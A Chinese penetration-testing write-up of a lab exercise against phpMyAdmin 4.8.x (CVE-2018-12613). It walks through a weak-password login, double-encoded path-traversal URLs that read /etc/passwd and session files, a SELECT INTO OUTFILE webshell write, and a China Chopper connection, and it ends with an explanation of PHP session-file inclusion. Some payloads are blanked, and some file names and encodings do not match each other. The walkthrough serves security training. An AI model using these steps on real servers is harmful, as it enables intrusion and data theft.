渗透测试-PhpMyAdmin后台文件包含漏洞

漏洞背景

背景介绍

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成文件包含漏洞。

在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成 LFI(本地文件包含)漏洞。

受影响的系统版本为 phpMyadmin 4.8.0 和 phpMyadmin 4.8.1。漏洞编号 CVE-2018-12613。

文件包含漏洞

【区别】目录遍历和文件包含的区别:

  1. 目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
  2. 文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含RFI远程文件包含
  3. 文件包含漏洞的认识:https://blog.csdn.net/weixin_39190897/article/details/86765826

攻击过程

渗透测试-PhpMyAdmin后台文件包含漏洞_第1张图片
墨者学院在线靶机:http://219.153.49.228:49400/index.php
渗透测试-PhpMyAdmin后台文件包含漏洞_第2张图片直接通过弱口令账号:root 和 密码:root 进入后台。
渗透测试-PhpMyAdmin后台文件包含漏洞_第3张图片

URL文件包含

phpmyadmin 4.8.x 版本存在文件包含漏洞,咱们首先访问 http://219.153.49.228:49400/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd :
渗透测试-PhpMyAdmin后台文件包含漏洞_第4张图片显示如图,可以确定了有文件包含漏洞。

这里为什么是 %253f ?这其实就是和背景介绍中说的通过两次编码可以绕过WAF的检查, %25 编码后是 % 然后和后面的 3f 形成%3f%3f 编码后变成? 所以就变成了/index.php?target=db_sql.php?/../../../../../../../../etc/passwd 这个URL地址。

Session文件包含

接下来我们想要getshell,需要先获知网站的绝对路径。

尝试直接在sql 中执行 select ' < ?php phpinfo() ?>'; 查询phpinfo()包含网页绝对路径信息:
渗透测试-PhpMyAdmin后台文件包含漏洞_第5张图片
无显示,想想放弃吧…………

【救命稻草】每次登录phpmyadmin系统的时候,系统就会产生一个sess_sessionID文件,然后在里面执行的操作,会被记录到这个文件内(UNIX系统中存放路径为/tmp/sess_[当前会话session值])。
【开始猥琐】于是乎我们可以利用文件包含漏洞直接包含会话文件,里面记录了刚才执行的select ' < ?php phpinfo() ?>命令,可以让我们看到phpinfo信息。

所以我们获取当前会话sessionID ,用f12 获取session的值,如下图:
渗透测试-PhpMyAdmin后台文件包含漏洞_第6张图片
然后访问 /index.php?target=db_sql.php%253f/../../../../../../tmp/sess_6p7q5922c95udni3oa1pqvdc9r15s6g6进行会话文件包含:
渗透测试-PhpMyAdmin后台文件包含漏洞_第7张图片获取当前网页绝对路径:
渗透测试-PhpMyAdmin后台文件包含漏洞_第8张图片

上传PHP木马

获得网站的绝对路径之后,直接执行以下命令上传木马:

    select ' CFCA-SBW-哈哈哈' into outfile '/var/www/html/hack.php' 

渗透测试-PhpMyAdmin后台文件包含漏洞_第9张图片
接下来,访问 http://219.153.49.228:49400/hhh.php ,发现hhh.php文件存在,木马上传成功:
在这里插入图片描述
最后,上菜刀连接:
渗透测试-PhpMyAdmin后台文件包含漏洞_第10张图片
成功连接并找到目标文件key.txt:
渗透测试-PhpMyAdmin后台文件包含漏洞_第11张图片

攻击总结

Session文件包含

此处着重介绍一下攻击过程中利用的PHP中Session文件包含漏洞

【利用条件】Session的存储位置可以获取。

  1. 通过phpinfo的信息可以获取到session的存储位置。如下获取到session.save_path/var/lib/php/session
    渗透测试-PhpMyAdmin后台文件包含漏洞_第12张图片
  2. 通过猜测默认的session存放位置进行尝试,如linux下默认存储在/var/lib/php/session目录下:
    渗透测试-PhpMyAdmin后台文件包含漏洞_第13张图片

【漏洞分析】

session中的内容可以被控制,传入恶意代码,示例如下:


   session_start();
   $ctfs=$_GET['ctfs'];
   $_SESSION["username"]=$ctfs;
?>

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问 http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。
渗透测试-PhpMyAdmin后台文件包含漏洞_第14张图片
所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"

【漏洞利用】

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问 http://www.ctfs-wiki/session.php?ctfs= 后,会在/var/lib/php/session目录下存储session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
渗透测试-PhpMyAdmin后台文件包含漏洞_第15张图片

文件包含漏洞修复

渗透测试-PhpMyAdmin后台文件包含漏洞_第16张图片

你可能感兴趣的:(渗透测试)